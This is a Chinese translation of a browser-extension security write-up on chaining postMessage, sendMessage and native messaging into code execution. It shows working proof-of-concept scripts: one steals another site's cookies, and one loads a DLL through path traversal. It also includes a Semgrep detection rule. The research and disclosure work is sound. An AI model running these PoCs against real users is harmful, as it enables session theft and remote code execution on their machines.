通用代码执行:通过浏览器扩展中的消息链实现
通过串联浏览器及浏览器扩展中的各种消息传递API,我展示了如何从网页跳转至实现“通用代码执行”,突破同源策略(Same Origin Policy)和浏览器沙箱的限制。我提供了两个影响数百万用户的新漏洞披露作为示例。此外,我还演示了如何通过结合大型数据集查询和静态代码分析,规模化地发现此类漏洞。
注意:扩展案例研究已于4月向其所有者披露,但尚未修补,因此内容经过审查。
引言 🔗
通用跨站脚本(XSS)因其能够在任何网页上执行(因此称为“通用”)并在某些情况下突破同源策略,被称为“最强大的XSS”。原因在于漏洞存在于浏览器或浏览器扩展中,使其能够超越单一源的范畴。
然而,得益于浏览器扩展API功能的不断增强以及危险实现的本地消息传递协议,可以 exploited 一个更具影响力的漏洞——通用代码执行。正如Arseny Reutov早在2017年《Chrome扩展中的PostMessage安全性》中观察到的,有一种方法可以将消息从网页一直传递到本地应用程序,而自那时以来改进甚微。不幸的是,漏洞研究的一个事实是,你往往在半途才意识到另一位研究人员之前已经走了相同的路线,但重新审视旧技术以查看它们是否仍然适用仍然是值得的。
内容脚本消息传递 🔗
通常,浏览器扩展需要在用户访问的页面上下文中执行JavaScript。例如,浏览器可能会修改页面的文档对象模型(DOM)。这些扩展必须在它们的manifest.json文件中声明内容脚本,例如:
1
2
3
4
5
6
7
8
9
10
11
12
|
"content_scripts": [
{
"js": [
"js/contentscript.js"
],
"matches": [
"http://*/*",
"https://*/*"
],
"all_frames": true
}
]
|
在这种情况下,扩展中的js/contentscript.js脚本将被注入到匹配模式的所有页面的所有帧中。虽然理想情况下模式应严格限制在特定页面,但常见的是看到通用扩展使用像示例中的通配符。
这当然是一个极其强大的功能,这就是为什么内容脚本被放置在称为“隔离世界”的私有执行环境中的原因,大大限制了如果内容脚本中存在DOM XSS等漏洞可能造成的损害。内容脚本无法访问网页上的JavaScript变量或其他注入的内容脚本,并在单独的内容安全策略下运行,该策略阻止内联JavaScript执行。
因此,为了执行比修改页面DOM更复杂的功能,内容脚本必须向其扩展的后台脚本或服务工作者传递消息,这些脚本在单独的页面上下文中运行。一个常见的模式是,这些后台脚本充当来自内容脚本的消息的事件处理程序,这些消息包含有关加载的网页的信息。
为此,内容脚本可以使用多个API与后台脚本通信。一种常见的方法是通过chrome.runtime.sendMessage()。
例如,内容脚本执行以下操作:
1
|
await chrome.runtime.sendMessage({greeting: "hello"});
|
而后台脚本通过消息处理程序等待:
1
2
3
4
5
6
7
8
9
|
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
console.log(sender.tab ?
"from a content script:" + sender.tab.url :
"from the extension");
if (request.greeting === "hello")
sendResponse({farewell: "goodbye"});
}
);
|
虽然跨扩展消息传递是可能的,但大多数扩展只允许其自己的内容脚本和后台脚本之间的消息传递。不幸的是,正如之前暗示的,恶意网页有许多方式可以闯入这种对话。
postMessage() 到 sendMessage() 🔗
扩展内容脚本中一个常见的易受攻击模式是postMessage处理程序中缺乏来源验证。
postMessage是一种与sendMessage分开的消息传递机制,通常由网页用于跨窗口/标签页消息传递,而不是扩展。然而,它为扩展开发人员提供了一种方便的方式,允许网页与隔离的内容脚本以及后台脚本通信。事实上,这是Chrome自己的开发者文档推荐的模式。
例如,考虑一个简单的用例,其中网页想要检查扩展的版本。回想一下,内容脚本在隔离世界中运行,无法访问它们嵌入的网页中的JavaScript变量。然而,内容脚本仍然共享对页面DOM的访问权限,因此可以接收postMessage消息。
网页可以运行以下代码:
1
2
3
4
|
document.getElementById("checkInstalledButton").addEventListener("click", () => {
window.postMessage(
{type: "CHECK_INSTALLED_VERSION", latestVersion: "1.2.3" }, "*");
}, false);
|
而内容脚本监听消息:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
var port = chrome.runtime.connect();
window.addEventListener("message", (event) => {
// We only accept messages from ourselves
if (event.source !== window) {
return;
}
if (event.data.type && (event.data.type === "CHECK_INSTALLED_VERSION")) {
console.log("Content script received: " + event.data.type);
port.postMessage(event.data);
}
}, false);
|
值得注意的是,如果内容脚本是通过通配符匹配模式注入的,那么事件源检查提供的保护完全无效,因为这意味着任何来源仍然可以通过向自身发送postMessage来触发这个网页-内容脚本-后台脚本通道。
突破同源策略 🔗
通过利用内容脚本和后台脚本之间的信任边界,恶意网页可以轻松地利用易受攻击扩展的扩展功能突破同源策略保护。
一个例子是拥有30万用户的“Extension A”,它为https://website-a.com“提供增强的用户体验”。然而,扩展清单在每个页面上注入内容脚本,而不仅仅是https://website-a.com:
1
2
3
4
5
6
7
8
9
10
11
12
|
"content_scripts": [
{
"js": [
"js/jquery-3.2.1.min.js",
"js/contentscript.js",
],
"matches": [
"http://*/*",
"https://*/*"
],
"all_frames": true
}
|
此外,该扩展具有访问多个其他源的cookie的权限:
1
2
3
4
5
6
7
8
|
"permissions": [
"cookies",
"webRequest",
"webRequestBlocking",
"https://website-a.com/*",
"https://website-b.com/*",
"https://*.website-c.com/*"
]
|
利用相同的嵌入页面通信模式,后台脚本接受以下消息类型,该类型简单地返回请求域的所有cookie:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
chrome.runtime.onMessage.addListener(function(a, b, c) {
switch (a.Action) {
// ...
case "GETCOOKIE":
GetCookie(a, b.tab.id);
break;
// ...
function GetCookie(a, b) {
chrome.cookies.getAll({
domain: a.URL
}, function(c) {
var d = [];
$(c).each(function() {
d.push({
name: this.name,
value: this.value,
domain: this.domain,
secure: this.secure,
path: this.path
})
});
a.Data = JSON.stringify(d);
SendMessage("ONRESULT", a, b)
})
}
|
因此,任何包含以下脚本的域的任何网页都可以触发扩展将白名单域的会话cookie返回给页面:
1
2
3
4
5
6
7
8
9
|
function runPoc() {
const payload = {
Action: "GETCOOKIE",
background: true,
URL: "website-a.com"
}
window.postMessage(payload, '*');
}
setTimeout(runPoc, 1000)
|
这实际上是一个同源策略突破,因为https://example.com上的恶意页面现在可以访问https://website-a.com的cookie。
本地消息传递 🔗
然而,为了超越现有研究和仅限Web的影响,我们可以转向另一个浏览器扩展功能:本地消息传递。这允许后台脚本与主机操作系统本身上运行的本地应用程序通信。例如,密码管理器扩展从桌面上的本地密码管理器应用程序检索密码。
这些本地应用程序必须声明一个本地消息传递主机清单文件,然后由浏览器在启动应用程序时引用。
1
2
3
4
5
6
7
|
{
"name": "com.my_company.my_application",
"description": "My Application",
"path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe",
"type": "stdio",
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
|
一旦启动,浏览器将使用stdin和stdout处理从扩展传递到由路径指定的进程的消息。然后,后台脚本可以使用chrome.runtime.sendNativeMessage()发送消息:
1
2
3
4
5
6
7
|
chrome.runtime.sendNativeMessage(
'com.my_company.my_application',
{text: 'Hello'},
function (response) {
console.log('Received ' + response);
}
);
|
同时,本地应用程序可以以任何方式处理stdin消息——有时是危险的。
因此,我们有一个完整的通用代码执行链:
- 浏览器扩展具有内容脚本的通配符模式。
- 内容脚本使用sendMessage将postMessage消息传递给后台脚本。
- 后台脚本使用sendNativeMessage将消息传递给本地应用程序。
- 本地应用程序危险地处理消息,导致代码执行。
规模化浏览器扩展漏洞狩猎 🔗
考虑到此链的 somewhat 狭窄要求,找到这样的扩展可能令人生畏。然而,得益于chrome-extension-manifests-dataset项目,可以快速查询数十万个Chrome扩展以匹配清单。
查询所有用户数大于250,000、包含内容脚本并使用本地消息传递的Chrome扩展可以这样做:
1
|
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
在这一点上,过滤出通配符内容脚本匹配模式可能没有帮助,因为这可以通过多种方式表达,包括<all_urls>。这产生了大约229个候选,可以使用Semgrep自定义代码扫描规则进一步缩小范围,以找到易受攻击的postMessage处理程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
rules:
- id: content-script-postmessage-to-chrome-runtime-sendmessage
mode: taint
options:
interfile: true
message: Content script postmessage handler forwards data to chrome runtime.
languages:
- javascript
- typescript
severity: ERROR
pattern-sources:
- patterns:
- pattern-inside: window.addEventListener('message', function($EVENT) { ... }, ...)
- pattern-not: ... if (<... $EVENT.origin ...>) { ... } ...
- focus-metavariable: $EVENT
pattern-sinks:
- pattern: $CHROME_RUNTIME.sendMessage(...)
- pattern: port.postMessage(...)
|
智能卡扩展中的命令执行 🔗
扩展中本地消息传递的一个常见用途是PKI(公钥基础设施)智能卡相关功能。PKI智能卡传统上用于无密码认证,但浏览器本身不支持,而是主要支持WebAuthn标准用于FIDO2和通行密钥。
因此,为了填补这一空白,希望使用PKI智能卡认证的网页依赖于浏览器扩展,这些扩展与与智能卡接口的本地应用程序通信。鉴于大量企业网站仍然依赖PKI智能卡,这些扩展拥有 surprisingly 大的用户群。
其中一个这样的扩展是拥有200万用户的Extension B。截至最新版本,该扩展在所有页面中注入其内容脚本。不幸的是,鉴于该扩展的性质,允许PKI智能卡功能在任何页面上运行是“按设计”的。
1
2
3
4
5
6
|
"content_scripts": [ {
"all_frames": true,
"js": [ "content.js" ],
"matches": [ "*://*/*", "file:///*" ],
"run_at": "document_start"
} ]
|
内容脚本监听消息并将其传递给后台脚本。虽然似乎有一个源检查,但它实际上是从消息数据本身获取的,可以由发送者直接控制。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
window.addEventListener("message", function(event) {
// We only accept messages from ourselves
if (event.source !== window)
return;
if (event.data.src && (event.data.src === "user_page.js")) {
event.data["origin"] = location.origin;
if (SDLogToConsole) {
console.log("From page: ");
console.log(event.data);
}
//Send Message to Extension
chrome.runtime.sendMessage(event.data, function(resp) {});
}
});
|
反过来,后台脚本将消息直接传递给本地应用程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
var port = chrome.runtime.connectNative("example.b.chrome.host");
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
console.log(sender.tab ?
"from a content script:" + sender.tab.url :
"From the extension");
if (port == null )
{
chrome.windows.create({url: "popup.html", type:"popup", top:100, left:100, width:630,height:320});
return true;
}
port.postMessage(request);
return true;
});
|
那么本地应用程序如何处理消息呢?首先,我们必须识别与example.b.chrome.host关联的应用程序。该扩展的网站提供了适用于各种操作系统的相应本地应用程序。还提供了一些集成源代码,二进制本身是一个.NET程序集。
从那里,可以识别消息解析代码,该代码将stdin解析为包含action键的JSON对象。对于GetCertLib操作,它获取JSON对象中PKCS11Lib项的值,并最终将其传递给一个函数,该函数在PKCS11Lib路径加载DLL。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public static TxnRespWithObj<List<X509Certificate2>> EnumerateSCCertificates(string PKCS11Lib)
{
List<X509Certificate2> x509Certificate2List = new List<X509Certificate2>();
TxnRespWithObj<List<X509Certificate2>> txnRespWithObj1;
try
{
string str = "C:\\Windows\\System32\\" + PKCS11Lib;
if (!File.Exists(str))
return new TxnRespWithObj<List<X509Certificate2>>()
{
IsSuccess = false,
TxnOutcome = "Required Smartcard driver " + str + " not found. Install token drivers and try again."
};
using (IPkcs11Library pkcs11Library = PKCS11SCUnlock.Factories.Pkcs11LibraryFactory.LoadPkcs11Library(PKCS11SCUnlock.Factories, str, AppType.MultiThreaded))
|
这是一个非常常见的DLL加载遍历模式,我也在ZScaler Client Connector中 exploited。
因此,通过首先触发恶意DLL文件的下载,然后发送带有GetCertLib操作和PKCS11Lib指向下载位置的消息,攻击者可以从任何网页跳转到完全命令执行,只要受害者安装了扩展和匹配的本地应用程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
<script>
// Function to handle incoming postMessage events
function receiveMessage(event) {
// Access the data sent from the other window/iframe
const receivedData = event.data;
// Create a new paragraph element to display the message
const newMessage = document.createElement('p');
newMessage.textContent = JSON.stringify(receivedData);
// Append the new message to the message container
const messageContainer = document.getElementById('messageContainer');
messageContainer.appendChild(newMessage);
}
// Add event listener to listen for postMessage events
window.addEventListener('message', receiveMessage);
function runPoc() {
window.postMessage({src: 'user_page.js', action: 'GetCertLib', PKCS11Lib: '..\\..\\..\\..\\..\\Users\\James\\Downloads\\payload.txt'}, "*")
}
function downloadPayload() {
const downloadLink = document.getElementById('download');
downloadLink.click()
setTimeout(runPoc, 2000);
}
setTimeout(downloadPayload, 2000);
</script>
|
结论 🔗
在本文中,我演示了如何通过本地消息传递扩展浏览器扩展消息链以实现“通用代码执行”。借助大型数据集和静态代码分析自动化,可以找到大量具有大型用户群的可利用扩展。某些扩展使用此模式的性质使得在源头难以保护,因此必须在链中的每个环节仔细处理。